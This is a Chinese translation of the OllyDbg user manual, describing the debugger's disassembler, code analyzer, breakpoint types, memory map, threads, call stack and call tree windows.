<p>反汇编器识别所有的标准80&#215;86、保护、FPU、MMX和3DNow!指令集（包括Athlon扩展的MMX指令集）。但它不识别ISSI命令，尽管计划要在下个版本中支持这种命令。某些过时或者未公开的命令，像LOADALL，也不支持。</p>
<p>反汇编器可以正确解码16位地址。但它假设所有的段都是32位的（段属性使用32位）。这对于PE［Portable Executable］格式文件总是真的。OllyDbg不支持16位的NE<br />
［New Executables］格式。</p>
<p>如果您熟悉MASM或者TASM，那么反汇编的代码对于您没有任何问题。但是，一些特例也是存在的。以下命令的解码与Intel的标准不同：</p>
<p>AAD (ASCII Adjust AX Before Division) -<br />
该命令的解码后的一般形式为：AAD imm8</p>
<p>AAM (ASCII Adjust AX After Multiply) -<br />
该命令（非十进制数）的一般解码形式为：AAM imm8</p>
<p>SLDT (Store Local Descriptor Table register) -<br />
操作数总被解码为16位。这个命令的32位形式会在目的操作数的低16位中存储段选择器，并保留高16位不变。</p>
<p>SALC (Sign-extend Carry bit to AL, undocumented) -<br />
OllyDbg 支持这个未公开指令。</p>
<p>PINSRW (Insert Word From Integer Register, Athlon extension to MMX) -<br />
在AMD的官方文档中，这个命令的内存形式使用了16位内存操作数；然而寄存器形式需要32位寄存器，但只使用了低16位。为了方便处理，反汇编器解码寄存器为16<br />
位形式。而汇编器两种形式都支持。</p>
<p>CVTPS2PI and CVTTPS2PI (Convert Packed Single-Precision Floating to Packed Doubleword, Convert with Truncation Packed Single-Precision Floating to Packed Doubleword) -</p>
<p>在这些命令中，第一个操作数是MMX寄存器，第二个或者是128位XMM寄存器或者是64位内存区域。为了方便处理，内存操作数也被解码为128位。</p>
<p>有些指令的助记符要依赖操作数的大小：</p>
<p>不分大小的形式     明确的16位形式     明确的32位形式<br />
PUSHA     PUSHAW     PUSHAD<br />
POPA     POPAW     POPAD<br />
LOOP     LOOPW     LOOPD<br />
LOOPE     LOOPWE     LOOPDE<br />
LOOPNE     LOOPWNE     LOOPDNE<br />
PUSHF     PUSHFW     PUSHFD<br />
POPF     POPFW     POPFD<br />
IRET     IRETW     IRETD<br />
您可以改变解码大小敏感助记符［decoding of size-sensitive mnemonics］.。根据选项，反汇编器从三种可能中选择之一进行解码。这个选项也会影响汇编器的默认处理方式。</p>
<p>解码MMX和3DNow!指令总是开启的，尽管您的处理器并不支持这些指令。</p>
<p>四，分析器［Analysis］</p>
<p>OllyDbg 整合了一个快速而强大的代码分析器。您可以从快捷菜单，或者在CPU窗口的反汇编面板中按 Ctrl+A ，或者在可执行模块中选择“分析全部模块［Analyze all modules］”，来使用它。</p>
<p>分析器有很高的启发性。它能区分代码和数据，标记入口和跳转目的地址，识别转换表［switch tables］，ASCII 和 UNICODE 串，定位函数过程，循环，高阶转换［<br />
high-level switches］并且能解码标准API函数的参数（示例［example］）。OllyDbg 的其他部分也广泛的使用了分析后的数据。</p>
<p>这 是如何实现的？我将为您揭开这一神秘面纱。第一遍，OllyDbg反汇编代码段中所有可能的地址，并计算调用的每个目的地址的个数。当然，很多调用是假 的，但不可能两个错误的调用都指向了相同的命令，当然如果有三个的话，就更不可能了。因此如果有三个或者更多的调用指向了相同的地址，我可以肯定的说这个 地址是某个频繁使用的子程序的入口。从定位的入口出发，我继续跟踪所有的跳转和函数调用，等等。按这种方法，我可能准确定位99.9% 的命令。但是，某些字节并不在这个链条上。我再用20多种高效的启发方法（最简单的方法，比如“直接访问前64K内存是不允许的，像在MOV [0],EAX中”）来探测他们</p>
<p>有时，分析器在您感兴趣的地方分析错误。有两种解决方法：或者从选中的部分移除分析（快捷键退格键），这样 OllyDbg 将使用默认的解码（反汇编）方式；或者设置<br />
解码提示［decoding hints］并重新分析。注意：在某些情况下，当分析器认为您的提示是不合适的，或者有冲突，则可能忽略您的设置。</p>
<p>探 测程序的函数过程也很简单。在分析器眼中看来，程序只是一个连绵不断的代码，从一个入口开始，可能达到（至少从理论上）所有的命令（除了NOP以及类似的 用于填充间隙的命令）。您可能指定三个识别级别。严格的函数过程要求有准确的一个入口，并且至少有一个返回。在启发级别下，分析器只要求过程有一个入口。 而如果您选择模糊模式，差不多连贯的代码都会被识别为单独的过程。现代编译器进行全局代码优化，有可能把一个过程分成几个部份。在这种情况下，模糊模式非 常有用。但是也会误识别的机率也就更高。</p>
<p>同样地，循环是一个封闭的连续的命令序列，并有一个到开始处的跳转作为一个入口，还有若干个出 口。循环与高级操作命令 do, while 和 for 相对应。OllyDbg 能够识别任何复杂的嵌套循环。他们会在反汇编栏［Disassembly］中用长而粗括号标记。如果入口不是循环的第一个命令，OllyDbg会用一个小 三角进行标记。</p>
<p>为了实现一个转换［switch］, 许多编译器，读取转换变量［switch variable］到寄存器中，然后减它，像如下的代码序列：</p>
<p>MOV EDX,&lt;switch variable&gt;<br />
SUB EDX,100<br />
JB DEFAULTCASE<br />
JE CASE100     ; Case 100<br />
DEC EDX<br />
JNE DEFAULTCASE<br />
&#8230;           ; Case 101</p>
<p>这 个序列可能还包含一到两阶的转换表、直接比较、优化和其他元素。如果在比较或跳转的很深处，这就很难知道哪是一个分支［Case］。OllyDbg 会帮助您，它会标记所有的分支，包括默认的，甚至尝试分析每个分支的含义，如&#8221;A&#8221;、WM_PAINT 或者 EXCEPTION_ACCESS_VIOLATION。如果命令序列没有修改寄存器（也就是仅仅由比较组成），那么这可能不是转换，而很有可能是选择嵌 套：</p>
<p>if (i==0) {&#8230;}<br />
else if (i==5) {&#8230;}<br />
else if (i==10) {&#8230;}</p>
<p>如果需要OllyDbg将选择嵌套解码成选择语句，请在分析1［Analysis1］中设置相关选项。</p>
<p>OllyDbg 包含多达1900条常用API函数，这些都作为内部预处理资源。这个列表包含了KERNEL32, GDI32, USER32, ADVAPI32, COMDLG32, SHELL32, VERSION, SHLWAPI, COMCTL32, WINSOCK, WS2_32 和 MSVCRT。您可以添加自己的函数描述［add your own descriptions］。如果分析器遇到的调用，使用了已知的函数名（或者跳转到这样的函数），它将在调用之前立即解码PUSH命令。因此，您只需略 微一看就能明白函数调用的含义。OllyDbg还包含了大约400多种的标准C函数。如果您有原始的库文件，我推荐您在分析前扫描目标文件。这样 OllyDbg将能解码这些C函数的参数。</p>
<p>如果选项“猜测未知函数的参数个数”开启，分析器将会决定这个调用函数过程使用的长度为双字的 参数个数。并且标记他们为参数1［Arg1］，参数2［ Arg2］，等等。注意：无论如何，寄存器参数是无法识别的，所以不会增加参数的数目。分析器使用了一种比较安全的方法。例如，它不能识别的没有参数的函 数过程，或者该过程POP<br />
命令直接做返回前的寄存器恢复，而不销毁参数。然而，识别出来的函数参数数目通常非常高，这大大加大了代码的可读性。</p>
<p>分析器能够跟踪整型寄存器的内容。现代优化编译器，特别是奔腾系列，频繁地使用寄存器读取常量和地址，或使用尽量少的使用内存。如果某个常量读取到寄存器中，分析器会注意它，并尝试解码函数和其参数。分析器还能完成简单的算术计算，甚至可以跟踪压栈和出栈。</p>
<p>分析器不能区分不同类的名称［different kinds of names］. 。如果您将某些函数指定为已知的名称，OllyDbg将会解码所有到该地址的调用。这是几个预定义的特殊名称<br />
WinMain, DllEntryPoint and WinProc。您可能使用这些标签标记主程序、DLL的的入口以及窗口过程（注意：OllyDbg不检查用户自定义的标签是否唯一）。另外，假定预定义 参数assume predefined arguments是一种更好的方法</p>
<p>不幸的是，没有一般规则能够做到100%的准确分析。在某 些情况下，例如当模块包含了P-Code或代码段中包换了大量的数据，分析器可能将一些数据解释成代码。如果统计分析显示代码部分很可能是压缩包或者经过 加密了，分析器会发出警告。如果您想使用Hit跟踪［Hit trace］，我建议您不要使用模糊分析［fuzzy analysis］，因为设置断点的地方可能正是数据部分。</p>
<p>自解压文件［Self-extractable files］通常有一个自提取器，在“正式”代码段之外。如果您选择自解压选项［SFX option］中的“扩展代码段，包含提取器［Extend code section to include self-extractor］”，OllyDbg将会扩展代码段，形式上允许分析它，并可以使用Hit跟踪［Hit］ trace和Run跟踪［Run trace］。</p>
<p>五，Object扫描器［Object scanner］</p>
<p>扫描器将特定 的目标文件或者目标库（包括OMF和COFF两种格式），提取出代码段，然后将这些段定位在当前模块的代码节［Code section］中.如果段定位好了,扫描器将从目标文件中的调试信息提取名称（也就是所谓的库标签［library labels］）。这极大的增加了代码与数据的可读性.</p>
<p>扫描器并不会对已识别的目标文件进行标签匹配，所以它不能识别非常小或相似的函数（比如：两个函数只是在重定位有区别）。因此要经常检查扫描器发送到登陆窗口的警告列表！</p>
<p>六，Implib扫描器 ［Implib scanner］</p>
<p>某些DLL的输出符号仅仅是一个序号。许多符号都是井号加数字（比如：MFC42.#1003），这非常不便于理解。幸运的是，软件零售商提供了输入连接库（implibs），它与序号符号名相关。</p>
<p>使用implib扫描器的方法：从主菜单中选择调试［Debug］|选择输入链接库［Select import libraries］。当您加载应用程序时，OllyDbg会读取链接库并从内置表格［<br />
internal tables］中提取符号名。每次遇到序号符号，而对应的链接库已经注册到OllyDbg中时，这个序号符号会被替换。</p>
<p>七，如何开始调试［How to start debugging session］</p>
<p>最简单的方法是：运行 OllyDbg，点击菜单上的文件［File］|打开［Open］，选择您想调试的程序。如果程序需要命令行参数，您可以在对话框底部的输入栏中，输入参数或者选择以前调试时输入过的一条参数。</p>
<p>OllyDbg 能够调试独立的DLL［stand-alone DLLs］。在这种情况下，OllyDbg 会创建并运行一个小的应用程序来加载链接库并根据您的需要调用输出函数。</p>
<p>如 果您想重新启动上一次调试的程序，只要按一下 Ctrl+F2（这是重启程序的快捷键），这样 OllyDbg 会以同样的参数运行这个程序。另一种做法是在菜单中选择文件［File］，从历史列表中选择程序。您也可以在 Windows 资源管理器中将可执行文件或 DLL 文件拖拽到 OllyDbg 中。</p>
<p>当然，您可以在 OllyDbg 启动时，运行指定带有运行参数的被调试程序。例如：您可以在桌面创建一个 OllyDbg 的快捷方式，右击并选择“属性”，在“快捷方式”中的“目标”中添加调试的程序的全路径。这样，您每次双击快捷方式时，OllyDbg 将自动运行被调试程序。注意：DLL文件不支持这种方式。</p>
<p>您可以把正在运行的进程挂接到 OllyDbg 中。在菜单中打开文件［File］|挂接［Attach］，从进程列表中选择要挂接的进程。注意：在您关闭 OllyDbg 的同时，这个进程也会被关闭。不要挂接系统进程，否则可能会导致整个操作系统的崩溃。（事实上在大多数情况下，操作系统禁止您挂接敏感进程）。</p>
<p>OllyDbg 可以作为即时［just-in-time］调试器。这需要在系统注册表中注册。在菜单中选择选项［Options］|即时调试［Just-in-time debugging］ 并在弹出的对话框中单击按钮“设置OllyDbg为即时调试器”［Make OllyDbg just-in-time debugger］。今后，如果某个应用程序发生了非法操作，系统将提示您是否用 OllyDbg 调试这个程序。操作系统会启动 OllyDbg 并直接停在发生异常的地方。如果您选择了“挂接时不询问”［attaching without confirmation］，则在即时调试时OllyDbg不会弹出询问对话框。如果想恢复成以前的即时调试器［Restore old just-in-time debuger］，按相应的按钮即可。</p>
<p>另一种方法是把 OllyDbg 添加到与可执行文件关联的快捷菜单中（这个想法是 Jochen Gerster 提出的）。在主菜单中，选择选项［Options］|添加到资源管理器中［Add to Explorer］。以后您可以在所有的文件列表中，右击可执行文件或DLL，在快捷菜单中选择OllyDbg。这个功能会创建四个注册表键值：</p>
<p>HKEY_CLASSES_ROOT\exefile\shell\Open with OllyDbg<br />
HKEY_CLASSES_ROOT\exefile\shell\Open with OllyDbg\command<br />
HKEY_CLASSES_ROOT\dllfile\shell\Open with OllyDbg<br />
HKEY_CLASSES_ROOT\dllfile\shell\Open with OllyDbg\command</p>
<p>OllyDbg能够调试控制台程序（基于文字的）。</p>
<p>OllyDbg不能调试.NET应用程序。.NET程序是由微软的中间语言这种伪指令组成的，或是on-the-fly to native ?6 commands编译的。</p>
<p>注意：如果您运行的是Windows NT、2000 或XP操作系统，您应该拥有管理员权限以便能够调试程序。。,</p>
<p>八，CPU 窗口［CPU window］</p>
<p>对于用户来说，CPU窗口在OllyDbg中是最重要的窗口。您调试自己程序的绝大部分操作都要在这个窗口中进行。它包括以下五个面板（这五个面板的大小都是可以调节的）：</p>
<p>反汇编［Disassembler］<br />
信息［Information］<br />
数据［Dump］<br />
寄存器［Registers］<br />
栈［Stack］</p>
<p>按TAB键，可以切换到下一个CPU面板中（顺时针方向）。</p>
<p>按Shift+TAB，可以切换到前一个CPU面板（逆时针方向）。</p>
<p>九，断点［Breakpoints］</p>
<p>OllyDbg支持数种不同类型的断点：</p>
<p>- 一般断点［Ordinary breakpoint］, 将您想中断的命令的第一个字节，用一个特殊命令INT3（调试器陷阱）来替代。您可以在反汇编窗口中选中要设断点的指令行并按下 F2 键就可以设定一个此类型的断点。也可以在快捷菜单中设置。再次按下 F2 键时，断点将被删除。注意，程序将在设断指令被执行之前中断下来。</p>
<p>INT3 断点的设置数量是没有限制的。当您关闭被调试程序或者调试器的时候，OllyDbg将自动把这些断点保存到硬盘中，永远不要试图在数据段或者指令的中间设 置这种断点，如果您试图在代码段以外设置断点，OllyDbg将会警告。您可以在安全选项［Security options］中永远关闭这个提示，在某些情况下调试器会插入自带的临时INT3<br />
断点。</p>
<p>- 条件断点［Conditional breakpoint］ （快捷键 Shift+F2）是一个带有条件表达式的普通INT3断点。当调试器遇到这类断点时，它将计算表达式的值，如果结果非零或者表达式无效，将暂停被调试程 序，当然，由条件为假的断点引起的开销是非常高的（主要归因于操作系统的反应时间）。在Windows NT、奔腾Ⅱ/450处理器环境下<br />
OllyDbg每秒最多处理2500个条件为假的断点。条件断点的一个典型使用情况就是在Windows消息上设置断点（比如 WM_PAINT）。为此，您可以将伪变量 MSG 同适当的参数说明联合使用。如果窗口被激活，参考一下后面的消息断点描述。</p>
<p>- 条件记录断点 ［Conditional logging breakpoint］（Shift+F4）是一种条件断点，每当遇到此类断点或者满足条件时，它将记录已知函数表达式或参数的值。例如，您可以在一些窗 口过程函数上设置记录断点并列出对该函数的所有调用。或者只对接收到的WM_COMMAND消息标识符设断，或者对创建文件的函数 （CreateFile）设断，并且记录以只读方式打开的文件名等，记录断点和条件断点速度相当，并且从记录窗口中浏览上百条消息要比按上百次F9轻松的 多，您可以为表达式选择一个预先定义好的解释说明。</p>
<p>您可以设置通过的次数 &#8211; 每次符合暂停条件时，计数器就会减一。如果通过计数在减一前，不等于零，OllyDbg就会继续执行。如果一个循环执行100次（十进制），在循环体内设 置一个断点，并设置通过次数为99（十进制）。OllyDbg将会在最后一次执行循环体时暂停。</p>
<p>另外，条件记录断点允许您传递一个或多个命令给插件［plugins］。例如，您需要使用命令行插件改变一个寄存器的内容，然后继续执行程序。</p>
<p>- 消息断点［Message breakpoint］和条件记录断点基本相同，除了OllyDbg会自动产生一个条件，这个条件允许在窗口过程的入口处设置某些消息（比如WM_PSINT）断点，您可以在窗口［Windows］中设置它。</p>
<p>- 跟踪断点［Trace breakpoint］ 是在每个选中命令上设置的一种特殊的INT3断点。如果您设置了Hit跟踪［hit trace］，断点会在命令执行后移除，并在该地址处做一个标记。如果您使用的是Run跟踪［run trace］，OllyDbg会添加跟踪数据记录并且断点仍然是保持激活状态。</p>
<p>- 内存断点［Memory breakpoint］ OllyDbg每一时刻只允许有一个内存断点。您可以在反汇编窗口、CPU窗口、数据窗口中选择一部分内存，然后使用快捷菜单设置内存断点。如果有以前的 内存断点，将被自动删除。您有两个选择：在内存访问（读，写，执行）时中断，或内存写入时中断。设置此类断点时，OllyDbg将会改变所选部分的内存块 的属性。在与80&#215;86兼容的处理器上将会有4096字节的内存被分配并保护起来。即使您仅仅选择了一个字节，OllyDbg 也会将整个内存块都保护起来。这将会引起大量的错误警告，请小心使用此类断点。某些系统函数（特别是在Windows95/98下）在访问受保护的内存时 不但不会产生调试事件反而会造成被调试程序的崩溃。</p>
<p>- 硬断点［Hardware breakpoint］（仅在Windows ME，NT或2000下可用）在80&#215;86兼容的处理器上，允许您设置4个硬件断点。和内存断点不同，硬件断点并不会降低执行速度，但是最多只能覆盖四个 字节。在单步执行或者跟踪代码时，OllyDbg能够使用硬断点代替INT3断点。</p>
<p>- 内存访问一次性断点［Single-shot break on memory access］ （仅在Windows NT或2000下可用）。您可以通过内存窗口的快捷菜单（或按F2），对整个内存块设置该类断点。当您想捕捉调用或返回到某个模块时，该类断点就显得特别 有用。中断发生以后，断点将被删除。</p>
<p>- 暂停Run跟踪［Run trace pause］（快捷键：Ctrl+T）是在每一步Run跟踪［run trace］时都要检查的一个条件集.您可以在EIP进入某个范围或超出某个范围时暂停，某个条件为真时暂停，或者命令与指定的模式匹配时暂停，或者当命 令可疑的时候暂停。注意，这一选择会极大的（高达20%）降低Run跟踪的速度。</p>
<p>OllyDbg也可以在一些调试事件［debugging events］上暂停程序执行。比如加载或卸载DLL，启动或终止线程，或者程序发出调试字符串的时候。</p>
<p>10，数据窗口［Dump］<br />
数据窗口用于显示内存或文件的内容。您可以从以下预处理格式［predefined formats］中选择一种显示方式：字节［byte］、文本［text］、整数［integer］、浮点数［float<br />
］、地址［address］,反汇编［disassembly］、 PE头［PE Header］。</p>
<p>所 有的dump窗口支持备份［backup］、搜索和编辑操作。CPU 窗口［CPU window］的Dump面板允许您对可执行代码的数据和可执行文件（.exe，或.dll）的内存映射做如下操作：定义标签［labels］、设置内存 断点［memory breakpoints］, 查找参考［references］。数据菜单［Dump menu］只显示与选中部分相关的命令。</p>
<p>如果 备份［backup］可用，则单击第一个列标题栏，会在地址［Address］/备份［Backup］ 两种显示模式之间切换。点击其他列标题栏，会改变Dump模式。</p>
<p>像反汇编窗口一样，数据窗口也保存了大量查看内存地址的历史记录。您可以通过“+”和“-”键来访问您过去查看过的数据地址空间。</p>
<p>要翻动一字节的数据，可以按住Ctrl l键并按上/下方向键。</p>
<p>可执行模块窗口［Executable modules window］<br />
可 执行模块窗口（快捷键：Alt+E）列出了当前被调试进程加载的所有可执行模块。它也显示了很多有用的信息，比如模块大小、入口地址、模块版本、以及可执 行文件路径等。一些信息，如以十进制显示的模块大小、入口地址的符号名、是否为系统模块等，通常是被隐藏的。如果想看，可以增加相应栏的宽度。快捷菜单支 持以下操作：</p>
<p>刷新［Actualize］ &#8211; 重新扫描模块并去除对新加载模块的高亮显示。在大多数情况下，OllyDbg会自动完成该操作。</p>
<p>查看内存［View memory］ &#8211; 打开内存窗口，并定位到属于该模块镜像的第一个内存块处。</p>
<p>在CPU窗口中查看代码［View code in CPU］ （快捷键：回车键） &#8211; 在反汇编窗口中显示模块的可执行代码。</p>
<p>跟进到入口［Follow entry］ &#8211; 在反汇编窗口中跟进到模块的入口处。</p>
<p>在CPU窗口中查看数据［Dump data in CPU］ -在CPU窗口的数据面板中显示模块的数据段。块代码段。</p>
<p>显示名称［View names］ （快捷键：Ctrl+N） -显示当前模块定义或使用的全部名称［names］（包括输出表、引入表、链接库、用户自定义）。</p>
<p>标记为系统DLL［Mark as system DLL］，<br />
标 记为非系统DLL［Mark as non-system DLL］ &#8211; 将选中模块标记为系统或非系统属性。如果设置为系统属性，则在Run跟踪［Run trace］时会直接执行（不进行跟踪）这个模块，从而大大加快跟踪速度。默认情况下，所有驻留在系统目录（通常在Windows 95/98下为c:\windows\system ，在WinNT/2000/XP下为c:\winnt\system32）的模块都认为是系统模块。</p>
<p>立即更新.udd文件［Update .udd file now］ -向文件“&lt;模块名&gt;.udd”写入模块相关的全部数据，udd文件保存了在调试期间设置的断点、标签、注释、监视、分析等信息。当模块卸载时OllyDbg会自动创建.udd文件。</p>
<p>查看可执行文件［View executable file］ &#8211; 显示可执行文件的全部内容。</p>
<p>查看全部资源［View all resources］ &#8211; 以列表形式显示模块定义的全部资源，并带有一个简短信息。OllyDbg并不把资源当作单独实体来支持。您可以提取［Dump］并以二进制的形式进行编辑。</p>
<p>查看资源字符串［View resource strings］ -以列表形式显示资源字符串及其标识符。</p>
<p>查看Run跟踪的统计［View run trace profile］ &#8211; 在此模块中计算统计［profile］ 。相关信息：Run跟踪［Run trace］.</p>
<p>分析全部模块［Analyze all modules］ -允许同时分析全部模块。分析将从代码中提取大量的有用信息；代码经过分析后再进行调试，通常会非常快并且可靠。</p>
<p>鼠标双击某一行，将会在反汇编窗口中显示模块的执行代码。</p>
<p>十，内存映射窗口［Memory map window］</p>
<p>内 存映射窗口显示了被调试程序分配的所有内存块。因为没有标准的方法来完成这项任务，所以OllyDbg可能会把一个大的内存块分成几个部分。然而，在大多 数情况下，并非一定要精确处理。如果想查看由应用程序通过调用GlobalAlloc()和LocalAlloc()等申请的内存块列表，请使用堆列表 ［Heap list］。</p>
<p>如果内存块是可执行模块的一个节，OllyDbg则会报告这个内存块所包含的数据类型：代码、数据、资源等。</p>
<p>Windows95/98 是和WindowsNT/2000是有一些区别的。在Windows95/98下，OllyDbg是不能显示被映射文件的名称的。另外， Windows95/98不允许的访存类型为读和写，然而，在WindowsNT/2000下，OllyDbg却有拥有更多功能，包括执行访问，写复制 ［copy-on-write］以及监视标志位。OllyDbg忽略写复制［copy-on-write］属性。</p>
<p>如果OllyDbg发现程序分配了新内存或者重新分配了已经存在的内存块，它将在内存映射窗口中高亮显示相应的记录，去掉高亮度显示，可以选择快捷菜单中的刷新［<br />
Actualize］项。</p>
<p>您可以按Alt+M来调用内存窗口。</p>
<p>以下是快捷菜单中可以选择的菜单项：</p>
<p>刷新［Actualize］ &#8211; 更新已分配内存的列表并去除对新内存块的高亮显示。</p>
<p>在反汇编窗口中查看［View in Disassembler］ -在反汇编窗口中查看：在反汇编窗口中打开内存块，这一选项仅在某些模块的内存块中包含可执行代码或者自解压器时可用。</p>
<p>在CPU数据窗口中查看［Dump in CPU］ &#8211; 在CPU的数据窗口中显示内存块的内容。</p>
<p>数据窗口［Dump］ &#8211; 在单独窗口中显示内存块内容。如果内存块的类型已知，则OllyDbg会自动选择显示格式。</p>
<p>查看全部资源［View all resources］ &#8211; 如果内存块包含资源数据，则列出所有资源及相关数据。OllyDbg并不把资源当作单独实体来支持。您可以显示其数据并以二进制的形式进行编辑。</p>
<p>查看资源字符串［View resource strings］ &#8211; 如果内存块包含资源数据，则列出全部资源字符串及其标识符。</p>
<p>搜 索［Search］ &#8211; 允许搜索所有的内存块，从选择处开始，搜索匹配的二进制串。如果找到，则OllyDbg将显示该内存块。内存映像窗口和数据窗口共享同一种搜索模式，所以 您可以在弹出的数据窗口中立即继续搜索该二进制串出现的下一位置。按Esc键可以关闭数据窗口。</p>
<p>搜索下一个［Search next］（快捷键：Ctrl+L） &#8211; 继续上次搜索。</p>
<p>设置访问中断［Set break-on-access］ （快捷键：F2，仅在WindowsNT/2000下可用） &#8211; 保护整个内存块。当中断发生后OllyDbg暂停被调试程序并清除断点。这类断点在您想捕捉调用或返回到某个模块的时候特别有用。</p>
<p>清除访问中断［Remove break-on-access］ （快捷键：F2） &#8211; 从内存块中清除访问中断保护。</p>
<p>设置内存访问断点［Set memory breakpoint on access］ &#8211; 在整个内存块上设置断点，每当该内存块被访问时程序都将中断。OllyDbg只支持一个内存访问断点。在<br />
Windows95/98下，当系统程序访问含有内存断点的内存块时，可能会导致所被调试程序崩溃，因此，不到万不得已，请不要设置这种断点。</p>
<p>设 置内存写入断点［Set memory breakpoint on write］ &#8211; 在整个内存块上设置断点，每当该内存块被写入数据时程序都将中断。在Windows95/98下，当系统程序访问含有内存断点的内存块时，可能会导致所被 调试程序崩溃，因此，不到万不得已，请不要设置这种断点。</p>
<p>清除内存断点［Remove memory breakpoint］ &#8211; 清除内存断点。</p>
<p>清除自解压内存断点［Remove SFX memory breakpoint］ &#8211; 停止搜索自解压程序［self-extractable (SFX) program］的真实入口。这个搜索使用了特殊类型的内存断点。</p>
<p>访问设置［Set access］ -设置整个内存块的保护属性，可选择的有：</p>
<p>禁止访问［No access］<br />
只读［Read only］<br />
读/写［Read/write］<br />
执行［Execute］<br />
执行/读［Execute/read］<br />
完全访问［Full access］</p>
<p>复制到剪切板［Copy to clipboard］</p>
<p>整行［Whole line］ -以多行文本（包括解释）的方式把所选记录复制到剪切板，如果复制时想排除某些列，可将该列的宽度置为最小（该栏剩余的边框将变灰）。</p>
<p>整 个表格［Whole table］ -以多行文本的方式将整个内存映像信息复制到剪切板，该文本的第一行为窗口标题（&#8221;内存映射［Memory map］&#8221;），第二行为列标题栏，后面几行的内容为内存数据记录。复制将保持列的宽度。如果复制时想排除某些列，可将该列的宽度置为最小（该栏剩余的边框 将变灰）。</p>
<p>十一，监视与监察器［Watches and inspectors］</p>
<p>监视［Watch］ 窗口包含若干个表达式［e­xpressions］。它在第二列里显示这些表达式的值。OllyDbg 会把这些表达式保存到主模块的.UDD文件中，因此它们在下一次调试时同样有效。</p>
<p>监 察器［inspector］是显示若干变量、1/2维数组或是选定项目结构数组［selected items of array of structures］的独立窗口。它的表达式与监视窗口中的基本相同，只是多包含了两个参数：%A和%B。您可以指定这两个参数的界限，OllyDbg 将会用所有可能的组合代替表达式中的%A和%B。从0开始一直到界限（不包含界限），并在表格中显示结果。参数%B（列数）的界限不能超过16。</p>
<p>例如，如果您指定了表达式%A+%B，并且限定%A和%B的上限为3，您将获得如下的表格：</p>
<p>十三，线程［Threads］</p>
<p>OllyDbg 以简单而有效的线程管理为特色。如果您单步调试、跟踪、执行到返回或者执行到所选，则线程管理器将停止除当前线程以外的所有线程。即使当前线程被挂起，它 也会将其恢复。在这种情况下，如果您手动挂起或者恢复线程，动作将被延期。如果您运行被调试的应用程序，OllyDbg将恢复最初的线程状态。（从调试器 的角度来看，Hit跟踪［hit trace］和自由运行是等效的）。</p>
<p>依据这种方案，线程窗口可能会有如下五种线程状态：</p>
<p>激活［Active］     &#8211; 线程运行中，或被调试信息暂停t<br />
挂起［Suspended］     &#8211; 线程被挂起<br />
跟踪［Traced］     &#8211; 线程被挂起，但OllyDbg正在单步跟踪此线程<br />
暂停［Paused］     &#8211; 线程是活动的，但OllyDbg临时将其挂起，并在跟踪其它的线程<br />
结束［Finished］     &#8211; 线程结束<br />
.</p>
<p>线程窗口同时也显示了最后的线程错误（GetlastError函数的返回值）并计算该线程以用户模式和系统模式（仅NT/2000/XP）运行的时间。线程窗口还会高亮主线程的标识符。</p>
<p>以下在快捷菜单中可用：</p>
<p>刷新［Actualize］ &#8211; 标记所有线程为旧的。</p>
<p>挂起［Suspend］ &#8211; 挂起线程。</p>
<p>恢复［Resume］ &#8211; 恢复先前挂起的线程。</p>
<p>设置优先级［Set priority］ &#8211; 调整进程中线程的优先级。以下选项可用：</p>
<p>空闲［Idle］     &#8211; 进程中线程的最低优先级<br />
最低［Lowest］<br />
低［Low］<br />
标准［Normal］<br />
高［High］<br />
最高［Highest］<br />
时间临界［Time critical］     &#8211; 最高优先级<br />
在CPU窗口打开［Open in CPU］（双击）- 在CPU窗口中显示所选线程的当前状态。</p>
<p>十四，复制到剪切板［Copy to clipboard］</p>
<p>整行［Whole line］ -全部行&#8211;以多行文本的形式并带注释将所选记录复制到剪切板。如果在复制时想排除某个栏目，可以将该栏的宽度置为最小（栏目的残留部分将变灰）。</p>
<p>整 个表格［Whole table］ &#8211; 整个表格&#8211;以多行文本的形式将整个内存映象复制到剪切板，该文本的第一行包含窗口标题（“内存映射［Memory map］”），第二行是栏目标题，所有后继行是内存数据记录。复制将保持栏目的宽度。如果在复制时想排除某些栏目，可以将该栏的宽度置为最小（栏目的残留 部分将变灰）。</p>
<p>十五，调用栈［Call stack］</p>
<p>调用栈窗口（快捷键：Alt+K）根据选定线程的栈，尝试反向跟踪 函数调用顺序并将其显示出来，同时包含被调用函数的已知的或隐含的参数。如果调用函数创建了标准的堆栈框架（PUSH EBP; MOV EBP,ESP），则这个任务非常容易完成。现代的优化编译器并不会为栈框架而操心，所以OllyDbg另辟蹊径，采用了一个变通的办法。例如，跟踪代码 到下一个返回处，并计算其中全部的入栈、出栈，及 ESP 的修改。如果不成功，则尝试另外一种办法，这个办法风险更大，速度也更慢：移动栈，搜索所有可能的返回地址，并检查这个地址是否被先前的已分析的命令调 用。如果还不行，则会采用启发式搜索。栈移动［Stack Walk］可能会非常慢。OllyDbg 仅在调用栈窗口打开时才会使用。</p>
<p>调用栈窗口包含5个栏目：地址［Address］、栈［Stack］、过程［Procedure］，调用来自［Called from］，框架［Frame］。地址［Adress］栏包含栈地址，栈［Stack］<br />
栏显示了相应的返回地址或参数值。</p>
<p>函数［Procedure］（或 函数/参数［Procedure / arguments］）显示了被调用函数的地址，在某些情况下，OllyDbg并不能保证该地址是正确的并会添加如下标记之一：</p>
<p>?     找到的入口点不可靠<br />
可能［Maybe］     OllyDbg无法找到精确的入口点，报告的地址是用启发式算法猜测的。<br />
包含［Includes］     OllyDbg无法找到入口点，仅知道该函数包含显示的地址<br />
通过按例标题栏上的按钮或从菜单中选择“隐藏/显示参数［Hide/Show arguments］”，可以在显示或隐藏函数的参数之间切换。</p>
<p>调用来自［Called from］用于显示调用该函数的命令地址。最后一栏是框架［Frame］这一栏默认是隐藏的，如果框架指针的值（寄存器EBP）已知的话，则该栏用于显示这个值。</p>
<p>当调用函数经过分析［analyzed］.后，栈移动会更可靠并且迅速。</p>
<p>十六，调用树［Call tree］</p>
<p>调 用树（快捷键：在反汇编窗口中Ctrl+K）利用分析［Analysis］的结果来找出指定函数过程直接或间接调用的函数列表，同时列出指定函数过程被调 用的地址。为了避免由此可能造成的副作用。调用树会判断选定函数是否明确地是递归的。“明确地”意味着它不会跟踪目标未知的调用，比如CALL EAX。如果函数过程中有未知调用，调用树将会添加标记“未知目标”。</p>
<p>某些函数调用将会添加如下注释之一：</p>
<p>叶子［Leaf］     不调用其他函数<br />
纯函数［Pure］     不调用函数，不会产生副作用<br />
单返回［RETN］     只有一个RETN 命令<br />
系统［Sys］     系统动态链接库中的函数。系统动态链接库定义为保存在系统目录下的动态链接库。<br />
如果想在调用树上移动，可以双击“被调用［Called from］”或“调用/直接调用［Calls/Calls directly］”两栏中的地址。调用树窗口保存了移动记录（快捷键“-”和“+”）。</p>
